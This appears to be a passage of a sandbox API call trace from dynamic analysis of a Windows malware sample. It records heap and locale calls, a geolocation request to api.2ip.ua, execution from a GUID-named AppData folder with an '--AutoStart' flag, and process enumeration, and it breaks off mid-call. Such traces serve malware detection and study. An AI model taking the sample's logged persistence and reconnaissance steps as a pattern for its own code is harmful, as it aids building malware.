RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x3c) returned 0x6607c0 [0108.362] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x54) returned 0x66dca8 [0108.362] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x24) returned 0x666b70 [0108.362] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x30) returned 0x6672c0 [0108.362] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x8c) returned 0x66dd08 [0108.362] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x66ca20 | out: hHeap=0x5c0000) returned 1 [0108.362] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x80) returned 0x66dda0 [0108.363] GetLastError () returned 0x0 [0108.363] SetLastError (dwErrCode=0x0) [0108.363] GetLastError () returned 0x0 [0108.363] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x220) returned 0x66bf10 [0108.363] GetLastError () returned 0x0 [0108.363] IsValidCodePage (CodePage=0x4e4) returned 1 [0108.363] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18dbfc | out: lpCPInfo=0x18dbfc) returned 1 [0108.363] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18d6c4 | out: lpCPInfo=0x18d6c4) returned 1 [0108.363] GetLastError () returned 0x0 [0108.363] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0108.363] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18d208, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0108.363] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0x18d9d8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x5e\x18\x48\x11\x14\xdc\x18", lpUsedDefaultChar=0x0) returned 256 [0108.363] GetLastError () returned 0x0 [0108.363] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0108.363] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18d218, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256 [0108.363] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0x18d8d8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x5e\x18\x48\x11\x14\xdc\x18", lpUsedDefaultChar=0x0) returned 256 [0108.363] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0108.363] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x800) returned 0x66c138 [0108.363] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x424fcb) returned 0x4121fd [0108.364] RtlSizeHeap (HeapHandle=0x5c0000, Flags=0x0, MemoryPointer=0x66dda0) returned 0x80 [0108.364] RtlSizeHeap (HeapHandle=0x5c0000, Flags=0x0, MemoryPointer=0x66dda0) returned 0x80 [0108.364] RtlSizeHeap (HeapHandle=0x5c0000, Flags=0x0, MemoryPointer=0x66dda0) returned 0x80 [0108.364] RtlSizeHeap (HeapHandle=0x5c0000, Flags=0x0, MemoryPointer=0x66dda0) returned 0x80 [0108.364] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x110) returned 0x66de28 [0108.365] RtlSizeHeap (HeapHandle=0x5c0000, Flags=0x0, MemoryPointer=0x66dda0) returned 0x80 [0108.365] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x66a788 [0108.365] RtlSizeHeap (HeapHandle=0x5c0000, Flags=0x0, MemoryPointer=0x66dda0) returned 0x80 [0108.366] RtlSizeHeap (HeapHandle=0x5c0000, Flags=0x0, MemoryPointer=0x66dda0) returned 0x80 [0108.366] RtlSizeHeap (HeapHandle=0x5c0000, Flags=0x0, MemoryPointer=0x66dda0) returned 0x80 [0108.366] RtlSizeHeap (HeapHandle=0x5c0000, Flags=0x0, MemoryPointer=0x66dda0) returned 0x80 [0108.367] InternetOpenW (lpszAgent="Microsoft Internet Explorer", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0108.533] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x660b20 [0108.533] InternetOpenUrlW (hInternet=0xcc0004, lpszUrl="https://api.2ip.ua/geo.json", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0121.687] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x189ed8, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x18c6d8 | out: lpBuffer=0x189ed8*, lpdwNumberOfBytesRead=0x18c6d8*=0x1d1) returned 1 [0121.688] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0121.690] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0121.690] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x678f70 [0121.690] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x1e0) returned 0x30411a8 [0121.690] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30411a8 | out: hHeap=0x5c0000) returned 1 [0121.690] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x678f70 | out: hHeap=0x5c0000) returned 1 [0121.690] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x660b20 | out: hHeap=0x5c0000) returned 1 [0121.690] GetCurrentProcess () returned 0xffffffff [0121.690] GetLastError () returned 0x2 [0121.690] SetPriorityClass (hProcess=0xffffffff, dwPriorityClass=0x80) returned 1 [0121.690] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x69bdd0 [0121.690] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x110) returned 0x3028e50 [0121.691] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x800) returned 0x69c2b8 [0121.691] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x69c2b8, nSize=0x400 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\23aa8f91-8e4c-4e01-8a6f-bd3657c0ac36\\zxkgxn.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\23aa8f91-8e4c-4e01-8a6f-bd3657c0ac36\\zxkgxn.exe")) returned 0x5b [0121.691] PathRemoveFileSpecW (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\23aa8f91-8e4c-4e01-8a6f-bd3657c0ac36\\zxkgxn.exe" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\23aa8f91-8e4c-4e01-8a6f-bd3657c0ac36") returned 1 [0121.691] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x810) returned 0x305d460 [0121.691] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\23aa8f91-8e4c-4e01-8a6f-bd3657c0ac36\\zxkgxn.exe\" --AutoStart" [0121.691] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\23aa8f91-8e4c-4e01-8a6f-bd3657c0ac36\\zxkgxn.exe\" --AutoStart", pNumArgs=0x18c7b8 | out: pNumArgs=0x18c7b8) returned 0x30719a0*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\23aa8f91-8e4c-4e01-8a6f-bd3657c0ac36\\zxkgxn.exe" [0121.691] lstrcpyW (in: lpString1=0x18d468, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\23aa8f91-8e4c-4e01-8a6f-bd3657c0ac36\\zxkgxn.exe" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\23aa8f91-8e4c-4e01-8a6f-bd3657c0ac36\\zxkgxn.exe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\23aa8f91-8e4c-4e01-8a6f-bd3657c0ac36\\zxkgxn.exe" [0121.691] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\23aa8f91-8e4c-4e01-8a6f-bd3657c0ac36\\zxkgxn.exe\" --AutoStart" [0121.691] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\23aa8f91-8e4c-4e01-8a6f-bd3657c0ac36\\zxkgxn.exe\" --AutoStart", pNumArgs=0x18c754 | out: pNumArgs=0x18c754) returned 0x30719a0*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\23aa8f91-8e4c-4e01-8a6f-bd3657c0ac36\\zxkgxn.exe" [0121.691] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\23aa8f91-8e4c-4e01-8a6f-bd3657c0ac36\\zxkgxn.exe") returned="zxkgxn.exe" [0121.691] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x76150000 [0121.692] GetProcAddress (hModule=0x76150000, lpProcName="EnumProcesses") returned 0x0 [0121.692] GetProcAddress (hModule=0x76150000, lpProcName="EnumProcessModules") returned 0x0 [0121.692] GetProcAddress (hModule=0x76150000, lpProcName="GetModuleBaseNameW") returned 0x0 [0121.692] LoadLibraryW (lpLibFileName="Psapi.dll") returned 0x762f0000 [0121.693] GetProcAddress (hModule=0x762f0000, lpProcName="EnumProcesses") returned 0x762f1544 [0121.694] GetProcAddress (hModule=0x762f0000, lpProcName="EnumProcessModules") returned 0x762f1408 [0121.694] GetProcAddress (hModule=0x762f0000, lpProcName="GetModuleBaseNameW") returned 0x762f152c [0121.694] EnumProcesses (in: lpidProcess=0x181f50, cb=0xa000, lpcbNeeded=0x18c760 | out: lpidProcess=0x181f50, lpcbNeeded=0x18c760) returned 1 [0121.696] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x0) returned 0x0 [0121.696] CloseHandle (hObject=0x0) returned 0 [0121.696] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0121.696] CloseHandle (hObject=0x0) returned 0 [0121.696] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x104) returned 0x0 [0121.696] CloseHandle (hObject=0x0) returned 0 [0121.696] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x14c) returned 0x0 [0121.696] CloseHandle (hObject=0x0) returned 0 [0121.696] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x180) returned 0x0 [0121.696] CloseHandle (hObject=0x0) returned 0 [0121.696] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x18c) returned 0x0 [0121.696] CloseHandle (hObject=0x0) returned 0 [0121.696] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1b4) returned 0x0 [0121.696] CloseHandle (hObject=0x0) returned 0 [0121.696] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1d0) returned 0x0 [0121.696] CloseHandle (hObject=0x0) returned 0 [0121.696] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1d8) returned 0x0 [0121.696] CloseHandle (hObject=0x0) returned 0 [0121.697] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1e0) returned 0x0 [0121.697] CloseHandle (hObject=0x0) returned 0 [0121.697] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x258) returned 0x0 [0121.697] CloseHandle (hObject=0x0) returned 0 [0121.697] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2a0) returned 0x0 [0121.697] CloseHandle (hObject=0x0) returned 0 [0121.697] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2d4) returned 0x0 [0121.697] CloseHandle (hObject=0x0) returned 0 [0121.697] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x350) returned 0x0 [0121.697] CloseHandle (hObject=0x0) returned 0 [0121.697] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x378) returned 0x0 [0121.697] CloseHandle (hObject=0x0) returned 0 [0121.697] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3b4) returned 0x0 [0121.697] CloseHandle (hObject=0x0) returned 0 [0121.697] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x120) returned 0x0 [0121.697] CloseHandle (hObject=0x0) returned 0 [0121.697] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x380) returned 0x5a0 [0121.697] EnumProcessModules (in: hProcess=0x5a0, lphModule=0x18c76c, cb=0x4, lpcbNeeded=0x18c750 | out: lphModule=0x18c76c, lpcbNeeded=0x18c750) returned 0 [0121.697] CloseHandle (hObject=0x5a0) returned 1 [0121.697] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3a8) returned 0x5a0 [0121.697] EnumProcessModules (in: hProcess=0x5a0, lphModule=0x18c76c, cb=0x4, lpcbNeeded=0x18c750 | out: lphModule=0x18c76c, lpcbNeeded=0x18c750) returned 0 [0121.698] CloseHandle (hObject=0x5a0) returned 1 [0121.698] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x41c) returned 0x5a0 [0121.698] EnumProcessModules (in: 